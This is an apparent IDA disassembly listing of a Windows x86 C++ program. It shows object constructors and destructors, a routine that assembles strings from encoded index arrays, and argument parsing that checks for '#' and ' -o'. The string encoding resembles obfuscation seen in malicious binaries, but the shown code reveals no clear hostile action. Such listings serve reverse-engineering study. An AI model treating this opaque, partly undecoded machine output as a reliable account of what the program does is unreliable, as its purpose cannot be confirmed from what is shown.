		push	offset byte_448F30
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C745E890h
		dd 0C88B023Eh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
